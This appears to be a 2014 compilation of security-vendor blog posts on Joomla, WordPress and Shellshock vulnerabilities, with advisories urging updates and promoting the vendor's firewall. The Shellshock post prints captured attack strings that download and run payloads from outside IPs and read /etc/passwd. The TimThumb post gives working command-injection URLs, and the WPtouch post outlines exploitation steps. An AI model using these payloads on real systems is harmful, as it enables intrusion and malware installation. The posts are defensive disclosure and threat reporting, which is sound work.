Joomla! 3.3.5 Released – Fixing High Priority Security Issues

Update: It seems like there is a glitch on the new version and the Joomla team is urging its users not to upgrade yet. From their twitter:

Screen Shot 2014-09-30 at 4.04.31 PM

Original post:

The Joomla team just released versions 3.3.5, 3.2.6 and 2.5.26, patching high priority security issues. The first one is an Remote File Include (RFI) vulnerability and the second one is a Denial of Service (DoS) vulnerability that affect all previous versions. If you are using Joomla, stop what you are doing and update it now!

The good news for our clients and what’s very exciting for us, me especially, is to see how the virtual hardening on our CloudProxy Website firewall protected our clients automatically against this vulnerability. As our researchers started to analyze the disclosure, we quickly noticed that it was already covered and the URL used to trigger this bug was already blocked by default. It means that our clients got zero-day protection without anyone even knowing about this issue.

For more information on these vulnerabilities, you can get straight from the Joomla! release notes:

High Priority – Core – Remote File Inclusion:

Project: Joomla!
SubProject: CMS
Severity: Moderate
Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4
Exploit type: Remote File Inclusion
Reported Date: 2014-September-24
Fixed Date: 2014-September-30
CVE Number: CVE-2014-7228

Inadequate checking allowed the potential for remote files to be executed.

This issue was discovered by Johannes Dahse and disclosed to Akeeba (and Joomla). The Akeeba team released a good post explaining the issue. We recommend reading if you are interested in the technical details.

Medium Priority – Core – Denial of Service:

Project: Joomla!
SubProject: CMS
Severity: Low
Versions: 2.5.4 through 2.5.25, 3.2.5 and earlier 3.x versions, 3.3.0 through 3.3.4
Exploit type: Denial of Service
Reported Date: 2014-September-24
Fixed Date: 2014-September-30
CVE Number: CVE-2014-7229

Inadequate checking allowed the potential for a denial of service attack.

Again, if you are using the Joomla! we highly recommend updating immediately.

Bash – ShellShocker – Attacks Increase in the Wild – Day 1

The Bash ShellShocker vulnerability was first disclosed to the public yesterday, 2014/Sep/24. Just a few hours after the initial release, we started to see a few scans looking for vulnerable servers. Our Website Firewall (CloudProxy) had already virtually patched the vulnerability via it’s Zero Day response mechanism. This allowed us to to create sinkholes to start analyzing the incoming attacks, current and as they evolve.

Most of the scans were not malicious; they appeared to be checking for the vulnerability, which is to be expected as researchers began checking their environments and others.

Most scan attempts were benign and looked something like this:

"() { :;}; /bin/bash -c \x22uname -a\x22"

"() { :;}; echo vulnerable' bash -c \x22ls /\x22" 

As the news about this vulnerability spread, nothing much major happened. Various posts were released talking to the potential impact, breakdown of the possibilities, etc. In fact, many researchers thought it was more FUD than the huge security issue the media was making it out to be. We were not discounting the seriousness of the vulnerability, but an exploit appeared to require a very unique server configuration, affecting a low number of web servers. The odds would be in your favour to have better luck scanning and exploiting the great number of out of date versions of WordPress, Joomla, Drupal and their various extensions and components.

Bash ShellShocker – Day 1

Our perspective on this changed when we identified cPanel as the potential entry point. cPanel servers are employed by thousands – if not millions of websites owners, now putting those website owners and their website in the direct line of fire, regardless of platform. What started as something big, but not critical, rapidly switched priorities.

In the first day, few hours, we are seeing thousands of requests to different web sites attempting all types of exploits.

From attackers trying to set up remote shells:

"() { :; }; /bin/bash -c \x22if [ $(/bin/uname -m | /bin/grep 64) ]; 
then /usr/bin/wget 82.118.242.223:5487/v64 -O /tmp/.osock;  else /usr/bin/wget 82.118.242.223:5487/v -O /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock &\x22" "PROXYBLOCKID:" "

To the configuration of IRC bots:

() { :;}; /bin/bash -c \x22cd /tmp;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22"

All being crammed inside the user agent, referrer and other HTTP headers. We are also seeing a lot of discovery still going on, like these attempts:

() { ignored;};/usr/bin/wget 176.99.6.189:3128/site.com"

() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444"

() { :; }; /bin/cat /etc/passwd > /tmp/d1.txt"

() { :; }; echo -e \x22Content-Type: text/plain\x5Cn\x22; echo qQQQQQq"

() { :; }; ping -c 17 209.126.230.74" "() { :; }; ping -c 17 209.126.230.74" 

() { :;}; /bin/bash -c \x22/usr/bin/wget http://singlesaints.com/firefile/temp?h=site.com -O /tmp/a.pl\x22"

() { :;}; echo; /usr/bin/id" "https://shellshock.detectify.com"

() { :;}; /usr/bin/env curl -s http://antalos.com/l.php?trg=sitbase64   > /dev/null" "() { :;}; /usr/bin
/env curl -s http://antalos.com/l.php?trg=sitebase64  > /dev/null"

() { :;}; /bin/env curl -s http://panhandlenursing.org/lib/adv_reports/l/l.php?trg=sitebase64  > /dev/nu
ll"

() { :;}; /bin/bash -c \x22wget http://psicologoweb.net/mc/s.php/site.com\x22"

() { :;}; wget http://shellshock.brandonpotter.com/report/site/Referer" 

() { :; }; curl http://vk.websecurelogin.com/b/?url=websiterecord.com/dm/xar.sh"

() { test;};/usr/bin/wget http://ytcracker.com/music/spamtec%20-%20apm.mp3 -O ~/cgi-bin/APM.mp3"

And even via email:

() { :; }; mail -s \x22Your files\x22 mailXXXtest@gmail.com

So far we identified 90+ different IP addresses doing mass scans, the worst offenders being:

     23.235.43.31
     54.228.25.245
     23.235.43.21
     23.235.43.27
     198.58.106.99
     23.235.43.25
     23.235.43.23
     23.235.43.29
     108.174.50.137
     201.67.234.45
     128.199.216.68
     75.127.84.182
     82.118.242.223
     24.251.197.244
     166.78.61.142

The most targeted URLs have been:

/cgi-sys/entropysearch.cgi
/cgi-sys/defaultwebpage.cgi
/cgi-mod/index.cgi
/cgi-bin/test.cgi
/cgi-bin-sdb/printenv

We will keep monitoring and we will post more details as we go.


If you think or find that your web server is vulnerable but find yourself in a position where you can’t patch for whatever reason, not to worry. We will providing 30 day free trials of our Website Firewall, please submit an email to info@sucuri.net.

Many might be using the CloudFlare Free product, please note that you are not protected from this with their Free product as it is a CDN and not a WAF. To get protection from this, and any other software vulnerabilities, you’ll need to use one of their paid products.

Additionally, CloudFlare has prepared Web Application Firewall (WAF) rules to protect customers who have not yet patched their own servers. This firewall rule is available to Pro, Business, and Enterprise customers. We have enabled this rule by default, so no WAF configuration is necessary. – CloudFlare

Not to worry, our Website Firewall sits perfectly behind the CloudFlare CDN and we have ample instructions on how to achieve this. Get the best of performance optimization, while keeping your website and it’s readers safe.

Security Advisory – Hikashop Extension for Joomla!

Advisory for: Hikashop for Joomla!
Security Risk: High (DREAD score : 7/10)
Vulnerability: Object Injection / Remote Code Execution
Updated Version: 2.3.2

In a routine audit of our Website Firewall we discovered a serious vulnerability within the Hikashop ecommerce product for Joomla! allowing remote code execution on the vulnerable website[s].

What are the risks?

This vulnerability affects Joomla! websites running Hikashop (< 2.3.2). It requires open account registration with email activation, this is the default configuration. In this particular case, a malicious user (actor) can remotely execute commands on the site (RCE), allowing them to do things like read any configuration file, modify files, and / or insert malware.

Because of the severity, you need to update your Hikashop installations as soon as possible. The Hikashop team released an update and provided more details on the issue here: Security Issue for HikaShop 2.3.2 and below and for HikaMarket 1.4.2 and 1.4.3

Technical details

The extension was using some code within the user activation part of the software that relied on the PHP’s unserialize() function to confirm user-provided information. The keyword to remember here is user-provided.

As a rule of thumb, it is wise to never send raw, user-provided data, to sensitive functions (especially to unserialize()). In this case, it lead to an Object Injection vulnerability.

An attacker could use this behavior to spawn any classes available in the application’s context, modifying any internal variable it might have in an attempt to modify the class destructor’s execution flow.

These type of attacks are highly dependent on the available classes to the attacker when unserialize() parses its payload. We naturally thought it might be a good idea to verify whether or not something bad could be done using Joomla! 3.* classes, and it turns out there is. Using this, we were able to turn the Object Injection issue into a Remote Code Execution vulnerability, allowing us to run commands on the remote site.

Because of the severity, we will not release any POC (proof of concept code) or provide more details until user have had more time to update. After 30 days, we will disclose all information.

Update Hikashop as soon as possible!

Please update Hikashop immediately! The developers did their part and released an update within hours of our disclosure. Now, it is time for you to do your part and update your sites.

Note that site running behind our Website Firewall were remotely patched using our Zero Day Immediate Response feature.

Security Advisory – VirtueMart Extension for Joomla!

Advisory for: VirtueMart for Joomla!
Security Risk: High
Exploitation level: Easy/Remote
Vulnerability: Access control bypass / Increase of Privilege
Updated Version: 2.6.10c
Patched Version: 2.6.8c

If you’re using the popular VirtueMart Joomla! extension (more than 3,500,000 downloads), you should update right away. During a routine audit for our Website Firewall (WAF) product we found a critical vulnerability that could be used by a malicious user to easily gain Super-Admin privileges on your website. With super-admin access, the attacker has full control of the site and database.

The bug was discovered and disclosed last week and immediately patched by the VirtueMart team (in record time). They also released the update 2.6.8c to fix this issue.

What are the risks?

Any Joomla! based website running the VirtueMart version <2.6.8c and allowing user registration (default mode for VirtueMart – since it is an online shopping cart for Joomla!), are at risk of a total website takeover. A successful exploit would allow an attacker to become a Super-Administrator and do anything they want, this could include uploading backdoors to your server, running spam campaigns, or distributing malware to your visitors.

If you use an affected version of this extension, please update it as soon as possible! Note that sites using our WAF (Website firewall) product are already protected against this threat.

Technical details

Update: We are removing the technical details as requested. Other extensions might be vulnerable to the same issue, so we will do more research on that.

VirtueMart uses Joomla’s JUser class “bind” and “save” methods to handle user accounts information. That’s not a problem in it of itself, but this class is very tricky and easy to make mistakes with.

The bind method roughly does the same thing as PHP’s array_merge function, except for a few points such as live password encryption and the fact that it operates on a class rather than an array.

virtuemart-bind

In the above code snippet, you can see that the extension pass the $data variable (which, at this point in execution, contains the whole $_POST array) directly to the bind() call. While it is an effective way to save/modify user informations, not whitelisting what parameters should be modified is a very bad idea. It basically allows anybody to modify every single variables within JUser’s class scope!

Using this dangerous behaviour, an attacker could modify JUser’s $isRoot, $groups and $_authGroups variables to add their account to the Super-Administrator group, thus giving them full privileges over the target website / environment.

Upgrade VirtueMart as soon as possible!

This is a serious vulnerability and the VirtueMart team did their part by releasing a patch right away. Now do your part and update any site using it.

MailPoet Vulnerability Exploited in the Wild – Breaking Thousands of WordPress Sites

A few weeks ago we found and disclosed a serious vulnerability on the MailPoet WordPress Plugin. We urged everyone to upgrade their sites immediately due to the severity of the issue. The vulnerability allowed an attacker to inject anything they wanted on the site, which could be used for malware injections, defacement, spam and many more nefarious acts.

This is not something we’re excited to report, but we were right.

A few days ago we started to see a massive number of WordPress sites compromised with malware. The malware code had some bugs, it was breaking many websites, overwriting good files and appending various statements in loops at the end of files.

At the time of the post, the root cause of the malware injections was a bit of a mystery. After a frantic 72 hours, we are confirming that the attack vector for these compromises is the MailPoet vulnerability. To be clear, the MailPoet vulnerability is the entry point, it doesn’t mean your website has to have it enabled or that you have it on the website; if it resides on the server, in a neighboring website, it can still affect your website.

All the hacked sites were either using MailPoet or had it installed on another sites within the same shared account (cross-contamination still matters).

Exploited in the Wild

The attacks always start the same, with the attackers trying to upload a custom (and malicious) theme to the site:

194.79.195.139 - - [05/Jul/2014:01:41:30 -0700] "POST /wp-admin/admin-post.php?page=wysija_campaigns&action=themes HTTP/1.0" 302 - "http://site.com.com/wp-admin/admin.php?page=wysija_campaigns&id=1&action=editTemplate" "Mozilla/5.0"

Once they succeed, they upload the malicious theme, they access their backdoor inside /wp-content/uploads/wysija/themes/mailp/:

194.79.195.139 - - [05/Jul/2014:01:41:31 -0700] "GET /wp-content/uploads/wysija/themes/mailp/index.php HTTP/1.1" 200 12 "Mozilla/5.0"
194.79.195.139 - - [05/Jul/2014:04:08:16 -0700] "GET /wp-content/uploads/wysija/themes/mailp/index.php?cookie=1 HTTP/1.0" 200 12 "-" "Mozilla/5.0 (Windows)"

They get full control of the site.

The Backdoor is very nasty and creates an admin user called 1001001. It also injects a backdoor code to all theme/core files. The biggest issue with this injection is that it often overwrites good files, making very hard to recover without a good backup in place.

So if you see this error on a site:

Parse error: syntax error, unexpected ')' in /home/user/public_html/site/wp-config.php on line 91

It means it was likely hacked through this vulnerability.

Mass Infections

MailPoet is a very popular plugin with almost 2 million downloads, so as you can expect, when such severe vulnerability is identified, it can be mass exploited.

This is the total number of hacked sites that we were able to identify so far (per day):

Sucuri-MailPoet-Infections

This is based on sites scanned on our free sitecheck scanner. The number of hacked sites is likely much bigger.

Upgrade Mailpoet!

If you are running MailPoet, we recommend upgrading it asap to the latest version. Users of our Website Firewall (CloudProxy) have been protected against this threat since day 0. However, if you do not have a firewall (WAF) on your website, you have to upgrade the plugin or remove it altogether to avoid more issues.

Disclosure: Insecure Nonce Generation in WPtouch

If you use the popular WPtouch plugin (5m+ downloads) on your WordPress website, you should update it immediately.

During a routine audit for our WAF, we discovered a very dangerous vulnerability that could potentially allow a user with no administrative privileges, who was logged in (like a subscriber or an author), to upload PHP files to the target server. Someone with bad intentions could upload PHP backdoors or other malicious malware and basically take over the site.

So to make a long story short, if you’re running WPtouch, then update immediately!

Update (11:18am) This disclosure only applies to 3.x versions of WPtouch. Administrators using 2.x and 1.x versions of the plugin will not be affected by the vulnerability.

What are the risks?

First of all, this vulnerability can only be triggered if your website allows guest users to register. If your site falls within this category, a logged­-in attacker could potentially take over your website by uploading a backdoor (remote shell) inside your website’s directories, allowing him to do anything he wants with your website.

Technical Details

If you read our last disclosure, you may remember that we mentioned that the WordPress “admin_init” hook should not be used as an authentication method. This bug illustrates another reason that the “admin_init” hook should not be used in this way (though, it does so more subtly).

In the file “core/class­wptouch­pro.php”, the “admin_initialize()” method was called by the “admin_init” hook.

Here is the interesting piece of it:

function admin_initialize() {

(…)
// load the rest of the admin scripts when we’re looking at the WPtouch Pro page
if ( $this­>admin_is_wptouch_page() ) {
(…)

} else {
$localize_params = array(
‘admin_url’ => get_bloginfo(‘wpurl’) . ‘/wp­admin’,
‘admin_nonce’ => wp_create_nonce( ‘wptouch_admin’ )
$localize_params ););

(…)
// Set up AJAX requests here
wp_localize_script( ‘wptouch­pro­other­admin’, ‘WPtouchCustom’,
}
(…)
}

If you notice the admin nonce getting generated and then added to WordPress script’s queue, then you can probably see where we’re going with this.

function handle_upload_file() {
$this­>cleanup_post_and_get();
header( ‘HTTP/1.1 200 OK’ );
$nonce = $this­>post[ 'wp_nonce' ];
if( wp_verify_nonce( $nonce, ‘wptouch_admin’ ) ) {
switch( $this­>post[ 'file_type'] ) {
(…some upload mechanism…)
}
}
die;
}

This nonce was also used to verify whether or not a user could upload files to the server. As the script didn’t use any other form of identification to check or authenticate the user’s privilege to upload files, it was possible for any user to complete the upload in there.

All an attacker had to do in order to compromise a vulnerable website was:

  1. Log­in and get his nonce via wp-admin
  2. Send an AJAX file upload request containing the leaked nonce and his backdoor

For developers, the key takeaway from all of this should be to not use nonces, by themselves, to protect sensitive methods. Instead make sure to always add functions such as “current_user_can()” or the like to confirm a user’s right to do something.

Update as soon as possible!

This vulnerability illustrates, yet again, the reason that attackers will always be able to find some way into your system. If you’d been adhering to the principle of least privilege, you would still be vulnerable because of a small error in the code, and since humans write code, there will always be errors that attackers will be able to exploit.

In this case, the great thing is that we disclosed the vulnerability to the WPtouch team and they swiftly put a patch online to correct this issue (version 3.4.3 – WPtouch Changelog). In order to correct this issue on your website, all you have to do is to update the plugin on your administration panel. And like we said before, you should do so ASAP.

Finally, if you’re noticing anything strange with your website, make sure to check out our easy to understand malware symptoms. If you need help, we’re always available to take a look at your website to make sure hackers haven’t taken control of your environment.

For our customers: The good news is that every website that is protected by our Website Firewall – CloudProxy is already protected against this vulnerability, so that means your website is secure.

Remote File Upload Vulnerability in WordPress MailPoet Plugin (wysija-newsletters)

Marc-Alexandre Montpas, from our research team, found a serious security vulnerability in the MailPoet WordPress plugin. This bug allows an attacker to upload any file remotely to the vulnerable website (i.e., no authentication is required).

This is a serious vulnerability, The MailPoet plugin (wysija-newsletters) is a very popular WordPress plugin (over 1,700,000 downloads). This vulnerability has been patched, if you run the WordPress MailPoet plugin please upgrade ASAP!

Are you affected?

If you have this plugin activated on your website, the odds are not in your favor. An attacker can exploit this vulnerability without having any privileges/accounts on the target site. This is a major threat, it means every single website using it is vulnerable.

The only safe version is the 2.6.7, this was just released a few hours ago (2014-Jul-01).

Why is it so dangerous?

This bug should be taken seriously, it gives a potential intruder the power to do anything he wants on his victim’s website. It allows for any PHP file to be uploaded. This can allow an attacker to use your website for phishing lures, sending SPAM, host malware, infect other customers (on a shared server), and so on!!

Technical Details

Our research team discovered this flaw a few weeks ago and immediately disclosed it to the MailPoet team. They responded very well and released a patch as quickly as possible.

Because of the nature of the vulnerability, specifically it’s severity, we will not be disclosing additional technical details. The basics of the vulnerability however is something all plugin developers should be mindful of: the vulnerability resides in the fact that the developers assumed that WordPress’s “admin_init” hooks were only called when an administrator user visited a page inside /wp-admin/.

It is a easy mistake to make and they used that hook (admin_init) to verify if a specific user was allowed to upload files.

However, any call to /wp-admin/admin-post.php also executes this hook without requiring the user to be authenticated. Thus making their theme upload functionality available to everybody.

Pro-tip: If you are a developer, never use admin_init() (or is_admin()) as an authentication method.

How should you protect yourself?

Again, Update the plugin as soon as possible. Keeping WordPress and all plugins updated is the first step to keep your sites secured.

For our customers: The good news is that any website behind our Website Firewall – CloudProxy has been protected against this vulnerability since we found it.

TimThumb WebShot Code Execution Exploit (0-day)

If you are still using Timthumb after the serious vulnerability that was found on it last year, you have one more reason to be concerned.

A new 0-day was just disclosed on TimThumb’s “Webshot” feature that allows for certain commands to be executed on the vulnerable website remotely (no authentication required). With a simple command, an attacker can create, remove and modify any files on your server. For example:

http://vulnerablesite.com/wp-content/plugins/pluginX/timthumb.php?webshot=1&src=http://vulnerablesite.com/$(rm$IFS/tmp/a.txt)

http://vulnerablesite.com/wp-content/plugins/pluginX/timthumb.php??webshot=1&src=http://vulnerablesite.com/$(touch$IFS/tmp/a.txt)

In the first example, we were able to remove a file (rm command) and on the second example, create one (using the touch command). And you are not limited to only these 2 commands as many others can be executed remotely (RCE). The full disclosure is available here for anyone interested in more technical details.

Are you vulnerable?

The good news is that Timthumb comes with the webshot option disabled by default, so just a few Timthumb installations are vulnerable. However, you have to check if your timthumb file does not have this option enabled to prevent it from being misused. Open your timthumb file (inside your theme or plugin) and search for “WEBSHOT_ENABLED” and make sure it is set to “false”, just like this one:

define (‘WEBSHOT_ENABLED’, false);

If it is enabled, you have to disable it asap. Our research team is monitoring this vulnerability very closely and if we have any news, we will update in this post.

For our customers: Another piece of good news is that any website behind our website firewall is already protected automatically against this vulnerability.

Critical Update for JetPack WordPress Plugin

The Jetpack team just released a critical security update to fix a security vulnerability in the Jetpack WordPress plugin. The vulnerability allows an attacker to bypass the site’s access control and publish posts on the site. All versions of JetPack since October, 2012 (Jetpack 1.9) are vulnerable, and all users should update to version 2.9.3 ASAP.

Jetpack is a very popular plugin for WordPress with almost 10 million downloads, so the impact of such vulnerability can be very big if users do not update.

Read More

JCE Joomla Extension Attacks in the Wild

Our friends from SpiderLabs, issued a warning today on their blog about increased activity on their honeypots looking to exploit the old JCE (Joomla Content Editor) vulnerability.

JCE is a very popular component that can be found enabled on almost any Joomla site. It has had a few serious vulnerabilities in the past (around 2011 and 2012), and unfortunately we still see thousands of unpatched sites out there. In fact, we get to clean and disinfect many sites compromised through it every single day.

You can read SpiderLabs’ full analysis here:

[Honeypot Alert] JCE Joomla Extension Attacks

And an old one we did on UnmaskParasites about the increased scans we started to see for it a few months ago:

Unmask: Invasion of JCE Bots

If you run a Joomla site and haven’t patched your site lately, please do it as soon as possible. If you are still on the Joomla 1.5.x branch, you need to do it today. There are exploits live in the wild for it, and if you have been lucky and didn’t get hacked yet, it will happen soon.


Read More